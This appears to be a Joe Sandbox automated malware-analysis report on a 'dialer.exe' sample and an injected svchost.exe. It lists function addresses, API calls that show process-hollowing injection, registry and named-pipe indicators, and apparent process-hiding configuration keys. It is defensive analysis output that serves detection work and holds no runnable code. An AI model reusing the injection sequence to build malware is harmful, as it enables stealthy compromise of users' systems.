Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitHandleHeapName$AllocDeleteEnumFindInformationModulePathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 3276259517-3931493855
Opcode ID: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
Opcode Fuzzy Hash: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741

Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140001D1D
VirtualAllocEx.KERNEL32 ref: 0000000140001D4C
WriteProcessMemory.KERNEL32 ref: 0000000140001D73
WriteProcessMemory.KERNEL32 ref: 0000000140001DB2
VirtualAlloc.KERNEL32 ref: 0000000140001DE3
GetThreadContext.KERNEL32 ref: 0000000140001DFF
WriteProcessMemory.KERNEL32 ref: 0000000140001E26
SetThreadContext.KERNEL32 ref: 0000000140001E44
ResumeThread.KERNEL32 ref: 0000000140001E52
OpenProcess.KERNEL32 ref: 0000000140001E6A
TerminateProcess.KERNEL32 ref: 0000000140001E7D

Strings

@, xrefs: 0000000140001D44

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700

Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102memorycomCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00000001400019E6
SysAllocString.OLEAUT32 ref: 00000001400019F6
CoInitializeEx.OLE32 ref: 0000000140001A03
CoInitializeSecurity.OLE32 ref: 0000000140001A3A
CoCreateInstance.OLE32 ref: 0000000140001A7A
VariantInit.OLEAUT32 ref: 0000000140001A8C
CoUninitialize.OLE32 ref: 0000000140001B26
SysFreeString.OLEAUT32 ref: 0000000140001B2F
SysFreeString.OLEAUT32 ref: 0000000140001B38

Strings

dialersvc64, xrefs: 00000001400019DD

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300

Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000140001034
RegDeleteKeyW.ADVAPI32 ref: 0000000140001045
RegEnumKeyExW.ADVAPI32 ref: 0000000140001082
RegCloseKey.ADVAPI32 ref: 0000000140001093
RegDeleteKeyExW.ADVAPI32 ref: 00000001400010B0

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140001026, 000000014000109C

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54

Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000140002ACB
WriteFile.KERNEL32 ref: 0000000140002AF3
WriteFile.KERNEL32 ref: 0000000140002B16
CloseHandle.KERNEL32 ref: 0000000140002B1F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 0000000140002AA8

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40

Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001924
GetProcAddress.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001937

Strings

ntdll.dll, xrefs: 000000014000191A

Memory Dump Source

Source File: 0000003E.00000002.3306536859.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000003E.00000002.3306381991.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306798080.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000003E.00000002.3306973735.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

Analysis Process: dialer.exePID: 7724, Parent PID: 6472COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	826
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryValueKey.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7

Memory Dump Source

Source File: 00000040.00000002.3306476335.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3306378142.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306529259.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306623785.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306674481.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 6751f840f2f5aebd6751d524e6efc601c9bb43c772484294e188eecfbad3158e
Instruction ID: db77473c3d931d0fcdff88eb00413d93014a399b348e2779a93e53daa222875a
Opcode Fuzzy Hash: 6751f840f2f5aebd6751d524e6efc601c9bb43c772484294e188eecfbad3158e
Instruction Fuzzy Hash: 0BF0AFB2608B408AEA12DF52F89579A77A0F38D7C0F00991ABBC843735DB3CC190CB40

Non-executed Functions

Function 00000001400026E0 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00000001400028F4
wcscpy.MSVCRT ref: 0000000140002A25
wcscat.MSVCRT ref: 0000000140002A30
wcslen.MSVCRT ref: 0000000140002A38
wcslen.MSVCRT ref: 0000000140002A50
wcslen.MSVCRT ref: 0000000140002AB0
wcslen.MSVCRT ref: 0000000140002B02

Strings

0, xrefs: 00000001400028F9
X, xrefs: 0000000140002C93
\BaseNamedObjects\krwgvaizwkrekxljjkewdlmp, xrefs: 00000001400026E9
`, xrefs: 0000000140002CAB

Memory Dump Source

Source File: 00000040.00000002.3306476335.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3306378142.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306529259.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306623785.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306674481.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: wcslen$wcscatwcscpywcsncmp
String ID: 0$X$\BaseNamedObjects\krwgvaizwkrekxljjkewdlmp$`
API String ID: 597572034-4019176162
Opcode ID: c600c716e08e094fafbff1190e846a4c8af8233fcc056b851a4b5868120616ec
Instruction ID: 6d2fbcda24ca89716a86bde41687ff7fffd3aad73cb8576b26b5126aeab97ea9
Opcode Fuzzy Hash: c600c716e08e094fafbff1190e846a4c8af8233fcc056b851a4b5868120616ec
Instruction Fuzzy Hash: 5F1248B2608BC481E762CB16F8443EAB7A4F789794F414215EBA857BF5EF78C189C700

Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,0000000140001156), ref: 00000001400011A5
_amsg_exit.MSVCRT(?,?,?,0000000140001156), ref: 00000001400011CC
_initterm.MSVCRT ref: 000000014000120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,0000000140001156), ref: 000000014000124E
malloc.MSVCRT ref: 000000014000127E
strlen.MSVCRT ref: 00000001400012A4
malloc.MSVCRT ref: 00000001400012B0
memcpy.MSVCRT ref: 00000001400012C3
_cexit.MSVCRT(?,?,?,0000000140001156), ref: 000000014000132D

Memory Dump Source

Source File: 00000040.00000002.3306476335.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3306378142.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306529259.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306623785.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306674481.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: f4770097703a93e6ebc2b28b43cd9dde9cff56eadf7c464ec9f392a7b96236ef
Instruction ID: f5b649809ecdb1e3254532f3c56674770b0d491324e0a3fa73df4e492b336c57
Opcode Fuzzy Hash: f4770097703a93e6ebc2b28b43cd9dde9cff56eadf7c464ec9f392a7b96236ef
Instruction Fuzzy Hash: DA5122B1A11A4085FB16EF27F9947EA27A5AB8D7D0F808121FB4D873B6DE38C4958300

Function 0000000140001BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,0000000140007C30,0000000140007C30,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001C63
VirtualProtect.KERNEL32(?,?,?,?,0000000140007C30,0000000140007C30,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001CC7
memcpy.MSVCRT ref: 0000000140001CE0
GetLastError.KERNEL32(?,?,?,?,0000000140007C30,0000000140007C30,?,?,0000000140000000,?,0000000140001991), ref: 0000000140001D23

Strings

VirtualProtect failed with code 0x%x, xrefs: 0000000140001D29
VirtualQuery failed for %d bytes at address %p, xrefs: 0000000140001D17
Address %p has no image-section, xrefs: 0000000140001CF4

Memory Dump Source

Source File: 00000040.00000002.3306476335.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3306378142.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306529259.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306623785.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306674481.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: 2308ca6eaf7bf6aa6e5fd7c2dad65274fa0cdee15cec1e8ea3a4e6064b89d7b3
Instruction ID: 43a0cbb6118ac9185dba083df37bfa5a8251914ca7472923389a44b33500f4d1
Opcode Fuzzy Hash: 2308ca6eaf7bf6aa6e5fd7c2dad65274fa0cdee15cec1e8ea3a4e6064b89d7b3
Instruction Fuzzy Hash: BC4153F1601A4486FA26DF47F884BE927A0E78DBC4F584122EF0E877B1DA38C586C300

Function 0000000140002104 Relevance: 7.6, APIs: 5, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002118
TlsGetValue.KERNEL32 ref: 000000014000214F
GetLastError.KERNEL32 ref: 0000000140002154
LeaveCriticalSection.KERNEL32 ref: 0000000140002212
DeleteCriticalSection.KERNEL32 ref: 000000014000225D

Memory Dump Source

Source File: 00000040.00000002.3306476335.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3306378142.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306529259.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306623785.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306674481.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValue
String ID:
API String ID: 926137887-0
Opcode ID: d9a872710ed99017faa0aba6aa6fc20f036904564ea786093dba8e779631c78c
Instruction ID: a4e62dc8e7d81a00801526d2a511ced90750e179f40fb15ec58be7477c50376c
Opcode Fuzzy Hash: d9a872710ed99017faa0aba6aa6fc20f036904564ea786093dba8e779631c78c
Instruction Fuzzy Hash: F221E3B0715A0292FA1BDB53F9483E92360B76CBD0F444161EB1E47AB4DB7A8986C300

Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9

Strings

Unknown pseudo relocation protocol version %d., xrefs: 0000000140001B8B
Unknown pseudo relocation bit size %d., xrefs: 0000000140001B7B

Memory Dump Source

Source File: 00000040.00000002.3306476335.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3306378142.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306529259.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306623785.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306674481.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 0e7c40df18b2d889cb18027e33d092cab4b671df9256c1c141fb24a14e92ca32
Instruction ID: 2d94c89a0dbc5eaf2f8d64577ab743d1a622af76d4dc519d29f5ea4fbe6584bb
Opcode Fuzzy Hash: 0e7c40df18b2d889cb18027e33d092cab4b671df9256c1c141fb24a14e92ca32
Instruction Fuzzy Hash: 245114B6B11544DAEB16CF67F840BE827A1A759BE8F548212FB1D077B4DB38C986C700

Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 000000014000185A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 000000014000184D
Unknown error, xrefs: 0000000140001824

Memory Dump Source

Source File: 00000040.00000002.3306476335.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3306378142.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306529259.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306623785.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306674481.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 0203b8193e6bd01d2269ae2997a65bc3a8e51b9bb463c4828a750bc6846778a9
Instruction ID: 7f685618ca937b17e8a77ff3462c9f9b221cac2c692d946b3ecbcedae4a5563c
Opcode Fuzzy Hash: 0203b8193e6bd01d2269ae2997a65bc3a8e51b9bb463c4828a750bc6846778a9
Instruction Fuzzy Hash: 15F09671A14A4482E612EF6AB9417ED6360E75D7C1F50D221FF4E576A6DF3CD182C310

Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400021B2
TlsGetValue.KERNEL32 ref: 00000001400021EB
GetLastError.KERNEL32 ref: 00000001400021F0
LeaveCriticalSection.KERNEL32 ref: 000000014000226C

Memory Dump Source

Source File: 00000040.00000002.3306476335.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000040.00000002.3306378142.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306529259.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306623785.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3306674481.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_140000000_dialer.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: f5d6f4d19039afd7669e997dc8e3bf76fcc59d2d2e4ea198e7921c6a9a2d6c1d
Instruction ID: fa24f775fc133e2fb8ddb0fda3fc4b66b3fc9b3ea8c54cca86470a464386792f
Opcode Fuzzy Hash: f5d6f4d19039afd7669e997dc8e3bf76fcc59d2d2e4ea198e7921c6a9a2d6c1d
Instruction Fuzzy Hash: 4F01B2B5705A0192FA1BDB53FE083E86360B76CBD1F454061EF0953AB4DF79C996C200

Analysis Process: dialer.exePID: 7720, Parent PID: 6472COMMON

Execution Graph

Execution Coverage:	56.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	87.5%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00000001408460F0 Relevance: 6.2, APIs: 4, Instructions: 209
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 000000014084621A
GetProcAddressForCaller.KERNELBASE ref: 0000000140846244
VirtualProtect.KERNELBASE(?,?,?,00000000), ref: 00000001408462C9
VirtualProtect.KERNELBASE ref: 00000001408462E7

Memory Dump Source

Source File: 00000041.00000002.3306534127.0000000140840000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000041.00000002.3306380561.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3306534127.00000001404DC000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3306534127.0000000140500000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3306534127.0000000140503000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3306534127.000000014078B000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3306534127.000000014080D000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3309638252.0000000140847000.00000004.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_140000000_dialer.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$AddressCallerLibraryLoadProc
String ID:
API String ID: 1941872368-0
Opcode ID: a1a6b93e84e87096e5dff681e67215abf906e06b78acd350537f386d013f0bde
Instruction ID: 1d24a93eb9004fb9ff5f788f669610d725ede0fbeb3cf7fc7a03e9414d8a6cfe
Opcode Fuzzy Hash: a1a6b93e84e87096e5dff681e67215abf906e06b78acd350537f386d013f0bde
Instruction Fuzzy Hash: FE611A32F4026255EB274BB6AF843E87751931D7B4F49433DCB79423E6FA7488668B02

Analysis Process: svchost.exePID: 444, Parent PID: 7660COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	81
Total number of Limit Nodes:	2

Executed Functions

Function 00000257E10A1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A1633
HeapAlloc.KERNEL32 ref: 00000257E10A1642

Part of subcall function 00000257E10A1268: GetProcessHeap.KERNEL32 ref: 00000257E10A126E
Part of subcall function 00000257E10A1268: HeapAlloc.KERNEL32 ref: 00000257E10A127D
Part of subcall function 00000257E10A1268: GetProcessHeap.KERNEL32 ref: 00000257E10A1297
Part of subcall function 00000257E10A1268: HeapAlloc.KERNEL32 ref: 00000257E10A12A8

RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16B2
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16DF
RegCloseKey.ADVAPI32 ref: 00000257E10A16F9
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1719
RegCloseKey.ADVAPI32 ref: 00000257E10A1734
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1754
RegCloseKey.ADVAPI32 ref: 00000257E10A176F
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A178F
RegCloseKey.ADVAPI32 ref: 00000257E10A17AA
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A17CA
RegCloseKey.ADVAPI32 ref: 00000257E10A17E5
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1805
RegCloseKey.ADVAPI32 ref: 00000257E10A1820
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1840
RegCloseKey.ADVAPI32 ref: 00000257E10A185B
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A187B
RegCloseKey.ADVAPI32 ref: 00000257E10A1896
RegCloseKey.ADVAPI32 ref: 00000257E10A18A0

Part of subcall function 00000257E10A12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000257E10A1319
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A1327
Part of subcall function 00000257E10A12BC: HeapAlloc.KERNEL32 ref: 00000257E10A1338
Part of subcall function 00000257E10A12BC: RegEnumValueW.ADVAPI32 ref: 00000257E10A1397
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A13DF
Part of subcall function 00000257E10A12BC: HeapAlloc.KERNEL32 ref: 00000257E10A13ED
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A140A
Part of subcall function 00000257E10A12BC: HeapFree.KERNEL32 ref: 00000257E10A1418
Part of subcall function 00000257E10A12BC: lstrlenW.KERNEL32 ref: 00000257E10A1421
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A142F
Part of subcall function 00000257E10A12BC: HeapAlloc.KERNEL32 ref: 00000257E10A143D

Strings

paths, xrefs: 00000257E10A1788
udp, xrefs: 00000257E10A1874
pid, xrefs: 00000257E10A1712
tcp_remote, xrefs: 00000257E10A1839
startup, xrefs: 00000257E10A16D5
SOFTWARE\dialerconfig, xrefs: 00000257E10A1692
service_names, xrefs: 00000257E10A17C3
tcp_local, xrefs: 00000257E10A17FE
process_names, xrefs: 00000257E10A174D

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 16feaae96375266c24b17968b5a080657b5ae57e6ff703aba3d68dcbcffacad4
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
